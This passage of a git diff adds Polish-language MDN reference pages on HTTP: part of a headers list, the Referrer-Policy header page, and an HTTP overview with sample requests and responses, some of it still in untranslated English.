<dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Other">Other</h2> + +<dl> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>Contains the date and time at which the message was originated.</dd> + <dt>{{HTTPHeader("Expect-CT")}}</dt> + <dd>Allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements.</dd> + <dt>{{HTTPHeader("Large-Allocation")}}</dt> + <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>Indicates how long the user agent should wait before making a follow-up request.</dd> + <dt>{{HTTPHeader("SourceMap")}}</dt> + <dd>Links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd>The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Neither party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> + <dt>{{HTTPHeader("X-Firefox-Spdy")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Contributing">Contributing</h2> + +<p>You can help by <a href="/en-US/docs/MDN/Contribute/Howto/Document_an_HTTP_header">writing new entries</a> or improving the existing ones.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> + <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> +</ul> diff --git a/files/pl/web/http/headers/referrer-policy/index.html b/files/pl/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..186868538e --- /dev/null +++ b/files/pl/web/http/headers/referrer-policy/index.html @@ -0,0 +1,260 @@ +--- +title: Zasada Polecającego (Referrer-Policy) +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - HTTP + - Reference + - Referencja + - Referrer-Policy + - Response + - Response Header + - nagłówek HTTP + - nagłówek odpowiedzi + - odpowiedź + - polecający + - prywatność + - referrer + - zasada polecającego +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">{{glossary("HTTP header")}} <strong><code>Referrer-Policy</code></strong> kontroluje, w jakim zakresie <a href="/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns">informacje dot. polecającego (referrera)</a> (wysyłane poprzez nagłówek {{HTTPHeader("Referer")}}) powinny być zawarte w żądaniu</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Typ nagłówka</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>nie</td> + </tr> + </tbody> +</table> + +<h2 id="Składnia">Składnia</h2> + +<div class="blockIndicator note"> +<p>Originalna nazwa nagłówka, {{HTTPHeader("Referer")}}, to błędnie zapisane słowo "referrer" ("polecający"). Nagłówek <code>Referrer-Policy</code> nie zawiera tej literówki.</p> +</div> + +<pre class="syntaxbox">Referrer-Policy: no-referrer +Referrer-Policy: no-referrer-when-downgrade +Referrer-Policy: origin +Referrer-Policy: origin-when-cross-origin +Referrer-Policy: same-origin +Referrer-Policy: strict-origin +Referrer-Policy: strict-origin-when-cross-origin +Referrer-Policy: unsafe-url +</pre> + +<h2 id="Dyrektywy">Dyrektywy</h2> + +<dl> + <dt><code>no-referrer</code></dt> + <dd>Nagłówek {{HTTPHeader("Referer")}} zostanie całkowicie pominięty. Żadna informacja dot. polecającego nie zostanie wysłana w żądaniu.</dd> + <dt><code>no-referrer-when-downgrade</code> (domyślna)</dt> + <dd>Zachowanie domyślne, jeśli zasada nie została określona lub jeśli wartość jest niepoprawna. {{glossary("origin")}}, {{glossary("path")}} oraz {{glossary("querystring")}} URLu są wysyłane jako polecający, podczas gdy poziom bezpieczeństwa protokołu pozostaje na tym samym poziomie (HTTP→HTTP, HTTPS→HTTPS) lub jest bezpieczniejszy (HTTP→HTTPS), ale nie gdy destynacja jest mniej bezpieczna (HTTPS→HTTP).</dd> + <dt><code>origin</code></dt> + <dd>Wysyła jedynie {{glossary("origin")}} dokumentu jako jego polecającego. Przykładowo, dokument pod adresem <code>https://example.com/page.html</code> wyśle referrer brzmiący: <code>https://example.com/</code>.</dd> + <dt><code>origin-when-cross-origin</code></dt> + <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania {{glossary("Same-origin_policy", "same-origin")}}, w innych przypadkach wyśle jedynie origin dokumentu.</dd> + <dt><code>same-origin</code></dt> + <dd>Referrer zostanie wysłany do <a href="/en-US/docs/Web/Security/Same-origin_policy">originów same-site</a>, natomiast żądania cross-origin nie będą zawierać informacji o referrerze.</dd> + <dt><code>strict-origin</code></dt> + <dd>Wyśle origin dokumentu jako referrer, jeśli poziom bezpieczeństwa protokołu zostaje na tym samym poziomie (HTTPS→HTTPS), nie wyśle, jeśli poziom bezpieczeństwa destynacji jest niższy (HTTPS→HTTP).</dd> + <dt><code>strict-origin-when-cross-origin</code></dt> + <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi żądania same-orign, wyśle jedynie origin, jeśli poziom bezpieczeństwa protokołu pozostaje taki sam (HTTPS→HTTPS), natomiast nie wyśle nagłówka do destynacji o niższym poziomie bezpieczeństwa (HTTPS→HTTP).</dd> + <dt><code>unsafe-url</code></dt> + <dd>Wyśle origin, ścieżkę i string z zapytaniem podczas obsługi jakiegokolwiek zdarzenia, niezależnie od bezpieczeństwa. + <div class="blockIndicator warning"> + <p>Niniejsza zasada może skutkować wyciekiem potencjalnie prywatnych informacji z URLów zasobów HTTPS do niebezpiecznych originów. Mocno się zastanów, zanim wybierzesz to ustawienie.</p> + </div> + </dd> +</dl> + +<h2 id="Integracja_z_HTMLem">Integracja z HTMLem</h2> + +<p>Możesz ustawić zasady polecającego także w HTMLu. Przykładowo, możesz ustawić zasadę polecającego dla całego dokumentu poprzez konfigurację elementu {{HTMLElement("meta")}} z <a href="/en-US/docs/Web/HTML/Element/meta#attr-name">name </a>równe <a href="/en-US/docs/Web/HTML/Element/meta#attr-name"><code>referrer</code></a>:</p> + +<pre class="brush: html"><meta name="referrer" content="origin"></pre> + +<p>Lub ustawić dla określonych żądań poprzez atrybut <code>referrerpolicy</code> na elementach {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}}, {{HTMLElement("script")}} czy {{HTMLElement("link")}}:</p> + +<pre class="brush: html"><a href="http://example.com" referrerpolicy="origin"></pre> + +<p>Alternatywnie, w przypadku elementu <code>a</code>, <code>area</code>, bądź <code>link</code> możesz ustawić <a href="/en-US/docs/Web/HTML/Link_types">relację linku</a> na <code>noreferrer</code> :</p> + +<pre class="brush: html"><a href="http://example.com" rel="noreferrer"></pre> + +<h2 id="Integracja_z_CSSem">Integracja z CSSem</h2> + +<p>CSS może przechwytywać zasoby wyszczególnione w arkuszach stylów. Niniejsze zasoby również podlegają zasadzie polecającego:</p> + +<ul> + <li>Zewnętrzne arkusze stylów CSS używają domyślnej zasady (<code>no-referrer-when-downgrade</code>) chyba, że jest nadpisana przez nagłówek HTTP <code>Referrer-Policy</code> w odpowiedzi arkusza stylów CSS.</li> + <li>Dla elementów {{HTMLElement("style")}} lub<a href="/en-US/docs/Web/API/HTMLElement/style"> atrybutów</a> <a href="/en-US/docs/Web/API/HTMLElement/style"><code>style</code></a> aplikowana jest zasada właściciela dokumentu.</li> +</ul> + +<h2 id="Przykłady">Przykłady</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Zasada</th> + <th scope="col">Document</th> + <th scope="col">Nawigacja do</th> + <th scope="col">Referrer</th> + </tr> + </thead> + <tbody> + <tr> + <th><code>no-referrer</code></th> + <td>https://example.com/page</td> + <td><em>gdziekolwiek</em></td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th rowspan="3"><code>no-referrer-when-downgrade</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th><code>origin</code></th> + <td>https://example.com/page</td> + <td><em>anywhere</em></td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td>https://example.com/</td> + </tr> + <tr> + <th rowspan="2"><code>same-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin</code></th> + <td rowspan="2">https://example.com/page</td> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <td><strong>http</strong>://example.com/page</td> + <td><em>anywhere</em></td> + <td>http://example.com/</td> + </tr> + <tr> + <th rowspan="3"><code>strict-origin-when-cross-origin</code></th> + <td rowspan="3">https://example.com/page</td> + <td>https://example.com/otherpage</td> + <td>https://example.com/page</td> + </tr> + <tr> + <td>https://mozilla.org</td> + <td>https://example.com/</td> + </tr> + <tr> + <td><strong>http</strong>://example.org</td> + <td><em>(no referrer)</em></td> + </tr> + <tr> + <th><code>unsafe-url</code></th> + <td>https://example.com/page?q=123</td> + <td><em>anywhere</em></td> + <td>https://example.com/page?q=123</td> + </tr> + </tbody> +</table> + +<h3 id="Określanie_zasady_awaryjnej">Określanie zasady awaryjnej</h3> + +<p>Jeśli chcesz określić zasadę awaryjną na wypadek, gdy pożądana zasada nie jest wspierana przez daną przeglądarkę, użyj listy oddzielonej przecinkiem, gdzie na samym końcu wpisujesz pożądaną zasadę:</p> + +<pre><code>Referrer-Policy: no-referrer, strict-origin-when-cross-origin</code></pre> + +<p>W przypadku powyższego scenariusza, <code>no-referrer</code> zostanie użyty jedynie, jeśli <code>strict-origin-when-cross-origin</code> nie jest wspierany przez daną przeglądarkę.</p> + +<p class="note">Określanie wielu wartości jest wspierane jedynie w nagłówku HTTP <code>Referrer-Policy</code>, nie jest natomiast w atrybucie <code>referrerpolicy</code>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + </tr> + </thead> + <tbody> + <tr> + <td><a href="https://w3c.github.io/webappsec-referrer-policy/#referrer-policy-header">Zasada Referrera </a></td> + <td>Wersja robocza redaktora</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz mieć swój wkład w tworzenie tych danych, sprawdź <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam żądanie pull.</div> + +<p>{{Compat("http.headers.Referrer-Policy")}}</p> + +<div class="note"> +<ul> + <li>Od wersji 53 w górę, Gecko posiada preferencję dostępną w <code>about:config</code>, by móc pozwolić użytkownikom na ustawienie ich domyślnego <code>Referrer-Policy</code> — <span class="quote"> <code>network.http.referer.userControlPolicy</code>.</span></li> + <li>Od wersji 59 w górę (Zobacz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=587523">#587523</a>), zastąpiono ją przez <code>network.http.referer.defaultPolicy</code> oraz <code>network.http.referer.defaultPolicy.pbmode</code>.</li> +</ul> + +<p>Dopuszczalne wartości to:</p> + +<ul> + <li>0 — <code>no-referrer</code></li> + <li>1 — <code>same-origin</code></li> + <li>2 — <code>strict-origin-when-cross-origin</code></li> + <li>3 — <code>no-referrer-when-downgrade</code> (domyślna)</li> +</ul> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li> + <li>Kiedy używać <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>: {{domxref("Request.referrerPolicy")}}</li> + <li>Przestarzała dyrektywa <span style="white-space: nowrap;">{{HTTPHeader("Content-Security-Policy")}}</span> {{HTTPHeader("Content-Security-Policy/referrer", "referrer")}} {{Obsolete_Inline}}</li> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Zasada same-origin</a></li> + <li> + <p><a href="https://blog.mozilla.org/security/2015/01/21/meta-referrer/">Tighter Control Over Your Referrers – Mozilla Security Blog</a></p> + </li> +</ul> diff --git a/files/pl/web/http/http_wiadomosci_ogólne/index.html b/files/pl/web/http/http_wiadomosci_ogólne/index.html new file mode 100644 index 0000000000..5fe95ca7ea --- /dev/null +++ b/files/pl/web/http/http_wiadomosci_ogólne/index.html @@ -0,0 +1,178 @@ +--- +title: HTTP - wiadomości ogólne +slug: Web/HTTP/HTTP_wiadomosci_ogólne +tags: + - HTML + - HTTP + - Mechanika stron + - Wstęp +translation_of: Web/HTTP/Overview +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary"><strong>HTTP</strong> stanowi</span> {{Glossary("protokół")}}, który umożliwia przechwytywanie zasobów, np. dokumentów HTML. Stanowi <span class="seoSummary">podstawę każdej wymiany danych w Internecie i jest protokołem klient-serwer, co oznacza, że żądania są inicjowane przez odbiorcę, przeważnie przeglądarkę internetową. Kompletny dokument jest rekonstruowany z różnych przechwyconych subdokumentów, np. tekstu, opisu szablonu, obrazków, video, skryptów itd</span>.</p> + +<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p> + +<p>Klienci i serwery komunikują się poprzez wymianę pojedynczych komunikatów (w przeciwieństwie do strumienia danych). Komunikaty wysyłane przez klienta, przeważnie przeglądarkę internetową, nazywane są <em>żądaniami</em>, a wiadomości wysyłane w odpowiedzi przez serwer <em>odpowiedziami</em>.</p> + +<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;">Zaprojektowany na początku lat 90. HTTP jest protokołem elastycznym, który wyewoluował na przetrzeni czasu. Jest to protokół warstwy aplikacji, który jest wysyłany nad {{Glossary("TCP")}} lub nad połączeniem TCP zaszyfrowanym w {{Glossary("TLS")}}, chociaż dowolny, godny zaufania protokół transportu mógłby zostać teoretycznie użyty. Z powodu swojej rozszerzalności używany jest nie tylko do przechwytywania dokumentów hipertekstowych, ale również do obrazów i video, bądź do dodawania treści na serwery, jak dane wprowadzane do formularzy HTML. HTTP może być również używany do przechwytywania części dokumentów, aby na żądanie aktualizować strony WWW.</p> + +<h2 id="Komponenty_systemów_opartych_o_HTTP">Komponenty systemów opartych o HTTP </h2> + +<p>HTTP to protokół klient-serwer: żądania są wysyłane przez jedną jednostkę, agenta użytkownika (lub proxy w jego imieniu). Przeważnie użytkownika jest jednoznaczny z przeglądarką, ale tak naprawdę może być wszystkim, np. robotem przemierzającym sieć, by rozpowszechnić i utrzymywać indeks wyszukiwarki.</p> + +<p>Każde indywidualne żądanie jest wysyłane na serwer, który je obsługuje i dostarcza informację zwrotną, zwaną <em>odpowiedzią</em>. Pomiędzy klientem a serwerem znajduje się wiele jednostek, kolektywnie nazywanych {{Glossary("Proxy_server", "proxies")}}, które zajmują się różnymi operacjami i funkcjonują jako bramki lub np. {{Glossary("Cache", "caches")}}.</p> + +<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p> + +<p>W rzeczywistości pomiędzy przeglądarką i serwerem istnieje więcej komputerów obsługujących żądania: są to routery, modemy itd. Dzięki temu, że układ sieci jest warstwowy, znajdują się one w warstwach sieci i transportu. HTTP znajduje się na samej górze, w warstwie aplikacji. Mimo, że diagnoza problemów pojawiających się sieci jest bardzo istotna, warstwy znajdujące się poniżej przeważnie są nieistotne przy opisie HTTP.</p> + +<h3 id="Klient_agent_użytkownika_user-agent">Klient: agent użytkownika (user-agent)</h3> + +<p><em>User-agent</em> to każde narzędzie, które działa w imieniu użytkownika. Najczęściej jest nim przeglądarka internetowa, mogą to byc także programy używane przez programistów do debugowania ich aplikacji.</p> + +<p>Przegladarka jest <strong>zawsze</strong> jednostką inicjującą żądanie. Nigdy nie jest nim serwer (jednakże na przestrzeni lat, niektóre mechanizmy zostały dodane, w celu symulacji wiadomości inicjowanych przez serwer)</p> + +<p>Aby zaprezentować stronę internetowa, przeglądarka wysyła orginalne żądanie, aby wydobyć dokument HTML, który reprezentuje tę stronę. Przeglądarka analizuje plik, robiąc tworząc dodatkowe żądania korespondujące ze skryptami, informacją o układzie strony do wyświetlenia (CSS), i pod zasobami zawartymi w stronie (najczęściej obrazy i wideo). Następnie przeglądarka łączy te zasoby aby zaprezentować uzytkownikowi kompletny dokument - stronę internetową. Skrypty wykonywane przez przeglądarkę mogą wydobywać więcej zasobów w kolejnych fazach oraz odpowiednio aktualizować stronę.</p> + +<p>Strona internetowa jest documentem hipertekstowym. To znaczy niektórę części wyświetlanego tekstu są linkami, które mogą być aktywowane (najczęściej przez kliknięcie) aby włączyć nową strone internetową, pozwalającymi uzytkownikowi kierować jego user-agentów i nawigować w sieci. Przeglądarka tłumaczy te wytyczne poprzez żądania HTTP a następnie interpretuje odpowiedzi HTTP aby przedstawić użytkownikowi jasną odpowiedź</p> + +<h3 id="The_Web_server">The Web server</h3> + +<p>On the opposite side of the communication channel, is the server, which <em>serves</em> the document as requested by the client. A server appears as only a single machine virtually: this is because it may actually be a collection of servers, sharing the load (load balancing) or a complex piece of software interrogating other computers (like cache, a DB server, or e-commerce servers), totally or partially generating the document on demand.</p> + +<p>A server is not necessarily a single machine, but several server software instances can be hosted on the same machine. With HTTP/1.1 and the {{HTTPHeader("Host")}} header, they may even share the same IP address.</p> + +<h3 id="Proxies">Proxies</h3> + +<p>Between the Web browser and the server, numerous computers and machines relay the HTTP messages. Due to the layered structure of the Web stack, most of these operate at the transport, network or physical levels, becoming transparent at the HTTP layer and potentially making a significant impact on performance. Those operating at the application layers are generally called <strong>proxies</strong>. These can be transparent, forwarding on the requests they receive without altering them in any way, or non-transparent, in which case they will change the request in some way before passing it along to the server. Proxies may perform numerous functions:</p> + +<ul> + <li>caching (the cache can be public or private, like the browser cache)</li> + <li>filtering (like an antivirus scan or parental controls)</li> + <li>load balancing (to allow multiple servers to serve the different requests)</li> + <li>authentication (to control access to different resources)</li> + <li>logging (allowing the storage of historical information)</li> +</ul> + +<h2 id="Basic_aspects_of_HTTP">Basic aspects of HTTP</h2> + +<h3 id="HTTP_is_simple">HTTP is simple</h3> + +<p>HTTP is generally designed to be simple and human readable, even with the added complexity introduced in HTTP/2 by encapsulating HTTP messages into frames. HTTP messages can be read and understood by humans, providing easier testing for developers, and reduced complexity for newcomers.</p> + +<h3 id="HTTP_is_extensible">HTTP is extensible</h3> + +<p>Introduced in HTTP/1.0, <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> make this protocol easy to extend and experiment with. New functionality can even be introduced by a simple agreement between a client and a server about a new header's semantics.</p> + +<h3 id="HTTP_is_stateless_but_not_sessionless">HTTP is stateless, but not sessionless</h3> + +<p>HTTP is stateless: there is no link between two requests being successively carried out on the same connection. This immediately has the prospect of being problematic for users attempting to interact with certain pages coherently, for example, using e-commerce shopping baskets. But while the core of HTTP itself is stateless, HTTP cookies allow the use of stateful sessions. Using header extensibility, HTTP Cookies are added to the workflow, allowing session creation on each HTTP request to share the same context, or the same state.</p> + +<h3 id="HTTP_and_connections">HTTP and connections</h3> + +<p>A connection is controlled at the transport layer, and therefore fundamentally out of scope for HTTP. Though HTTP doesn't require the underlying transport protocol to be connection-based; only requiring it to be <em>reliable</em>, or not lose messages (so at minimum presenting an error). Among the two most common transport protocols on the Internet, TCP is reliable and UDP isn't. HTTP therefore relies on the TCP standard, which is connection-based.</p> + +<p>Before a client and server can exchange an HTTP request/response pair, they must establish a TCP connection, a process which requires several round-trips. The default behavior of HTTP/1.0 is to open a separate TCP connection for each HTTP request/response pair. This is less efficient than sharing a single TCP connection when multiple requests are sent in close succession.</p> + +<p>In order to mitigate this flaw, HTTP/1.1 introduced <em>pipelining</em> (which proved difficult to implement) and <em>persistent connections</em>: the underlying TCP connection can be partially controlled using the {{HTTPHeader("Connection")}} header. HTTP/2 went a step further by multiplexing messages over a single connection, helping keep the connection warm and more efficient.</p> + +<p>Experiments are in progress to design a better transport protocol more suited to HTTP. For example, Google is experimenting with <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a> which builds on UDP to provide a more reliable and efficient transport protocol.</p> + +<h2 id="What_can_be_controlled_by_HTTP">What can be controlled by HTTP</h2> + +<p>This extensible nature of HTTP has, over time, allowed for more control and functionality of the Web. Cache or authentication methods were functions handled early in HTTP history. The ability to relax the <em>origin constraint</em>, by contrast, has only been added in the 2010s.</p> + +<p>Here is a list of common features controllable with HTTP.</p> + +<ul> + <li><em><a href="/en-US/docs/Web/HTTP/Caching">Caching</a></em><br> + How documents are cached can be controlled by HTTP. The server can instruct proxies and clients, about what to cache and for how long. The client can instruct intermediate cache proxies to ignore the stored document.</li> + <li><em>Relaxing the origin constraint</em><br> + To prevent snooping and other privacy invasions, Web browsers enforce strict separation between Web sites. Only pages from the <strong>same origin</strong> can access all the information of a Web page. Though such constraint is a burden to the server, HTTP headers can relax this strict separation on the server side, allowing a document to become a patchwork of information sourced from different domains; there could even be security-related reasons to do so.</li> + <li><em>Authentication</em><br> + Some pages may be protected so that only specific users can access them. Basic authentication may be provided by HTTP, either using the {{HTTPHeader("WWW-Authenticate")}} and similar headers, or by setting a specific session using <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>.</li> + <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxy and tunneling</a></em><br> + Servers or clients are often located on intranets and hide their true IP address from other computers. HTTP requests then go through proxies to cross this network barrier. Not all proxies are HTTP proxies. The SOCKS protocol, for example, operates at a lower level. Other protocols, like ftp, can be handled by these proxies.</li> + <li><em>Sessions</em><br> + Using HTTP cookies allows you to link requests with the state of the server. This creates sessions, despite basic HTTP being a state-less protocol. This is useful not only for e-commerce shopping baskets, but also for any site allowing user configuration of the output.</li> +</ul> + +<h2 id="HTTP_flow">HTTP flow</h2> + +<p>When a client wants to communicate with a server, either the final server or an intermediate proxy, it performs the following steps:</p> + +<ol> + <li>Open a TCP connection: The TCP connection is used to send a request, or several, and receive an answer. The client may open a new connection, reuse an existing connection, or open several TCP connections to the servers.</li> + <li>Send an HTTP message: HTTP messages (before HTTP/2) are human-readable. With HTTP/2, these simple messages are encapsulated in frames, making them impossible to read directly, but the principle remains the same. For example: + <pre class="line-numbers language-html notranslate"><code class="language-html">GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr</code></pre> + </li> + <li>Read the response sent by the server, such as: + <pre class="line-numbers language-html notranslate"><code class="language-html">HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre> + </li> + <li>Close or reuse the connection for further requests.</li> +</ol> + +<p>If HTTP pipelining is activated, several requests can be sent without waiting for the first response to be fully received. HTTP pipelining has proven difficult to implement in existing networks, where old pieces of software coexist with modern versions. HTTP pipelining has been superseded in HTTP/2 with more robust multiplexing requests within a frame.</p> + +<h2 id="HTTP_Messages">HTTP Messages</h2> + +<p>HTTP messages, as defined in HTTP/1.1 and earlier, are human-readable. In HTTP/2, these messages are embedded into a binary structure, a <em>frame</em>, allowing optimizations like compression of headers and multiplexing. Even if only part of the original HTTP message is sent in this version of HTTP, the semantics of each message is unchanged and the client reconstitutes (virtually) the original HTTP/1.1 request. It is therefore useful to comprehend HTTP/2 messages in the HTTP/1.1 format.</p> + +<p>There are two types of HTTP messages, requests and responses, each with its own format.</p> + +<h3 id="Requests">Requests</h3> + +<p>An example HTTP request:</p> + +<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> + +<p>Requests consists of the following elements:</p> + +<ul> + <li>An HTTP <a href="/en-US/docs/Web/HTTP/Methods">method</a>, usually a verb like {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} or a noun like {{HTTPMethod("OPTIONS")}} or {{HTTPMethod("HEAD")}} that defines the operation the client wants to perform. Typically, a client wants to fetch a resource (using <code>GET</code>) or post the value of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a> (using <code>POST</code>), though more operations may be needed in other cases.</li> + <li>The path of the resource to fetch; the URL of the resource stripped from elements that are obvious from the context, for example without the {{Glossary("protocol")}} (<code>http://</code>), the {{Glossary("domain")}} (here, <code>developer.mozilla.org</code>), or the TCP {{Glossary("port")}} (here, <code>80</code>).</li> + <li>The version of the HTTP protocol.</li> + <li>Optional <a href="/en-US/docs/Web/HTTP/Headers">headers</a> that convey additional information for the servers.</li> + <li>Or a body, for some methods like <code>POST</code>, similar to those in responses, which contain the resource sent.</li> +</ul> + +<h3 id="Responses">Responses</h3> + +<p>An example response:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> + +<p>Responses consist of the following elements:</p> + +<ul> + <li>The version of the HTTP protocol they follow.</li> + <li>A <a href="/en-US/docs/Web/HTTP/Status">status code</a>, indicating if the request was successful, or not, and why.</li> + <li>A status message, a non-authoritative short description of the status code.</li> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">headers</a>, like those for requests.</li> + <li>Optionally, a body containing the fetched resource.</li> +</ul> + +<h2 id="APIs_based_on_HTTP">APIs based on HTTP</h2> + +<p>The most commonly used API based on HTTP is the {{domxref("XMLHttpRequest")}} API, which can be used to exchange data between a {{Glossary("user agent")}} and a server. The modern {{domxref("Fetch API")}} provides the same features with a more powerful and flexible feature set.</p> + +<p>Another API, <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>, is a one-way service that allows a server to send events to the client, using HTTP as a transport mechanism. Using the {{domxref("EventSource")}} interface, the client opens a connection and establishes event handlers. The client browser automatically converts the messages that arrive on the HTTP stream into appropriate {{domxref("Event")}} objects, delivering them to the event handlers that have been registered for the events' {{domxref("Event.type", "type")}} if known, or to the {{domxref("EventSource.onmessage", "onmessage")}} event handler if no type-specific event handler was established.</p> + +<h2 id="Conclusion">Conclusion</h2> + +<p>HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.</p> + +<p>Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple <a href="/en-US/docs/Tools/Network_Monitor">HTTP message monitor</a>.</p> diff --git a/files/pl/web/http/index.html b/files/pl/web/http/index.html new file mode 100644 index 0000000000..ae21c93fa1 --- /dev/null +++ b/files/pl/web/http/index.html @@ -0,0 +1,89 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - Hipertekst + - Reference + - Referencja + - TCP/IP + - TopicStub + - Web + - 'l10n:priority' +translation_of: Web/HTTP +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong><dfn>Protokół Przesyłania Danych Hipertekstowych (Hypertext Transfer Protocol, HTTP)</dfn></strong> to protokół <a href="https://en.wikipedia.org/wiki/Application_Layer">warstwy aplikacji</a>, odpowiedzialny za transmisję dokumentów hipermedialnych, jak np. HTML. Został stworzony do komunikacji pomiędzy przeglądarkami, a serwerami webowymi, ale może być używany również w innych celach. HTTP opiera się na klasycznym <a href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">modelu klient-serwer</a>, gdzie klient inicjuje połączenie poprzez wysłanie żądania, następnie 